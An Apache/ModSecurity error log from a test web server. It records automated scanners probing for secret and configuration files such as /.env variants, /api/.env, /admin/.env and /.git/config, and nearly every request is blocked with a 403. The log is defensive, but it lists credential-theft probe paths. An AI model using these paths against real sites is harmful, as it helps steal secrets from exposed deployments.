[Tue Aug 26 14:26:46.816710 2025] [:error] [pid 2243520] [client 45.130.203.219:28699] [client 45.130.203.219] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aK2oBrYKdbSk19zMIqBMxQAAAAc"]
[Tue Aug 26 14:26:46.817879 2025] [:error] [pid 2243520] [client 45.130.203.219:28699] [client 45.130.203.219] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aK2oBrYKdbSk19zMIqBMxQAAAAc"]
[Tue Aug 26 14:26:46.818044 2025] [:error] [pid 2243520] [client 45.130.203.219:28699] [client 45.130.203.219] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aK2oBrYKdbSk19zMIqBMxQAAAAc"]
[Tue Aug 26 14:26:46.949543 2025] [:error] [pid 2241551] [client 45.130.203.190:49365] [client 45.130.203.190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aK2oBhvYDzkh6AJp8a-qLgAAAAI"]
[Tue Aug 26 14:26:46.949775 2025] [:error] [pid 2241551] [client 45.130.203.190:49365] [client 45.130.203.190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aK2oBhvYDzkh6AJp8a-qLgAAAAI"]
[Tue Aug 26 14:26:46.949938 2025] [:error] [pid 2241551] [client 45.130.203.190:49365] [client 45.130.203.190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aK2oBhvYDzkh6AJp8a-qLgAAAAI"]
[Tue Aug 26 14:26:47.056877 2025] [:error] [pid 2241552] [client 45.130.203.196:61897] [client 45.130.203.196] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aK2oBzoRJp8QGcfk7oMvwQAAAAM"]
[Tue Aug 26 14:26:47.057080 2025] [:error] [pid 2241552] [client 45.130.203.196:61897] [client 45.130.203.196] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aK2oBzoRJp8QGcfk7oMvwQAAAAM"]
[Tue Aug 26 14:26:47.057237 2025] [:error] [pid 2241552] [client 45.130.203.196:61897] [client 45.130.203.196] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aK2oBzoRJp8QGcfk7oMvwQAAAAM"]
[Fri Aug 29 22:12:09.868362 2025] [:error] [pid 2317387] [client 93.123.109.7:38726] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aLIJmRf4Ixez93jIUm4klgAAAAo"]
[Fri Aug 29 22:12:09.870128 2025] [:error] [pid 2317387] [client 93.123.109.7:38726] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aLIJmRf4Ixez93jIUm4klgAAAAo"]
[Fri Aug 29 22:12:09.870291 2025] [:error] [pid 2317387] [client 93.123.109.7:38726] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aLIJmRf4Ixez93jIUm4klgAAAAo"]
[Sun Aug 31 10:04:29.228304 2025] [:error] [pid 2366609] [client 198.55.98.93:41952] [client 198.55.98.93] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aLQCDfr0FOm0pGr6eC3l1AAAAAM"]
[Sun Aug 31 10:04:29.229740 2025] [:error] [pid 2366609] [client 198.55.98.93:41952] [client 198.55.98.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aLQCDfr0FOm0pGr6eC3l1AAAAAM"]
[Sun Aug 31 10:04:29.229907 2025] [:error] [pid 2366609] [client 198.55.98.93:41952] [client 198.55.98.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aLQCDfr0FOm0pGr6eC3l1AAAAAM"]
[Thu Sep 04 09:37:33.541960 2025] [:error] [pid 2466857] [client 18.224.192.118:46023] [client 18.224.192.118] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aLlBvXEVXO2S1jd7I_29XQAAAAE"]
[Thu Sep 04 09:37:33.543607 2025] [:error] [pid 2466857] [client 18.224.192.118:46023] [client 18.224.192.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aLlBvXEVXO2S1jd7I_29XQAAAAE"]
[Thu Sep 04 09:37:33.543823 2025] [:error] [pid 2466857] [client 18.224.192.118:46023] [client 18.224.192.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aLlBvXEVXO2S1jd7I_29XQAAAAE"]
[Fri Sep 05 06:47:35.338225 2025] [:error] [pid 2491889] [client 23.180.120.244:49292] [client 23.180.120.244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aLprZ-l5cxues8SNd25_9gAAAAQ"]
[Fri Sep 05 06:47:35.338548 2025] [:error] [pid 2491889] [client 23.180.120.244:49292] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aLprZ-l5cxues8SNd25_9gAAAAQ"]
[Fri Sep 05 06:47:35.338720 2025] [:error] [pid 2491889] [client 23.180.120.244:49292] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aLprZ-l5cxues8SNd25_9gAAAAQ"]
[Fri Sep 05 06:47:35.529866 2025] [:error] [pid 2491888] [client 23.180.120.244:49300] [client 23.180.120.244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aLprZ5_VBYeInBKbOsRkIwAAAAM"]
[Fri Sep 05 06:47:35.530108 2025] [:error] [pid 2491888] [client 23.180.120.244:49300] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aLprZ5_VBYeInBKbOsRkIwAAAAM"]
[Fri Sep 05 06:47:35.530371 2025] [:error] [pid 2491888] [client 23.180.120.244:49300] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aLprZ5_VBYeInBKbOsRkIwAAAAM"]
[Fri Sep 05 06:47:36.769995 2025] [:error] [pid 2491894] [client 23.180.120.244:49304] [client 23.180.120.244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aLpraGWRJEx3XSdtOfPFzgAAAAU"]
[Fri Sep 05 06:47:36.770237 2025] [:error] [pid 2491894] [client 23.180.120.244:49304] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aLpraGWRJEx3XSdtOfPFzgAAAAU"]
[Fri Sep 05 06:47:36.770422 2025] [:error] [pid 2491894] [client 23.180.120.244:49304] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aLpraGWRJEx3XSdtOfPFzgAAAAU"]
[Fri Sep 05 06:47:36.966797 2025] [:error] [pid 2493250] [client 23.180.120.244:49320] [client 23.180.120.244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aLpraCTJqtUiKB43SURf7wAAAAY"]
[Fri Sep 05 06:47:36.967036 2025] [:error] [pid 2493250] [client 23.180.120.244:49320] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aLpraCTJqtUiKB43SURf7wAAAAY"]
[Fri Sep 05 06:47:36.967188 2025] [:error] [pid 2493250] [client 23.180.120.244:49320] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aLpraCTJqtUiKB43SURf7wAAAAY"]
[Fri Sep 05 06:47:37.071891 2025] [authz_core:error] [pid 2491887] [client 23.180.120.244:49334] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Fri Sep 05 06:47:38.373337 2025] [:error] [pid 2491886] [client 23.180.120.244:49348] [client 23.180.120.244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aLpramhNhulVQg075Bl3-AAAAAE"]
[Fri Sep 05 06:47:38.373582 2025] [:error] [pid 2491886] [client 23.180.120.244:49348] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aLpramhNhulVQg075Bl3-AAAAAE"]
[Fri Sep 05 06:47:38.373766 2025] [:error] [pid 2491886] [client 23.180.120.244:49348] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aLpramhNhulVQg075Bl3-AAAAAE"]
[Fri Sep 05 06:47:46.223501 2025] [:error] [pid 2491889] [client 23.180.120.244:60956] [client 23.180.120.244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aLprcul5cxues8SNd25_9wAAAAQ"]
[Fri Sep 05 06:47:46.223754 2025] [:error] [pid 2491889] [client 23.180.120.244:60956] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aLprcul5cxues8SNd25_9wAAAAQ"]
[Fri Sep 05 06:47:46.223944 2025] [:error] [pid 2491889] [client 23.180.120.244:60956] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aLprcul5cxues8SNd25_9wAAAAQ"]
[Fri Sep 05 06:47:48.168307 2025] [:error] [pid 2491888] [client 23.180.120.244:60960] [client 23.180.120.244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aLprdJ_VBYeInBKbOsRkJAAAAAM"]
[Fri Sep 05 06:47:48.168542 2025] [:error] [pid 2491888] [client 23.180.120.244:60960] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aLprdJ_VBYeInBKbOsRkJAAAAAM"]
[Fri Sep 05 06:47:48.168711 2025] [:error] [pid 2491888] [client 23.180.120.244:60960] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aLprdJ_VBYeInBKbOsRkJAAAAAM"]
[Fri Sep 05 06:47:48.561840 2025] [:error] [pid 2491894] [client 23.180.120.244:60972] [client 23.180.120.244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aLprdGWRJEx3XSdtOfPFzwAAAAU"]
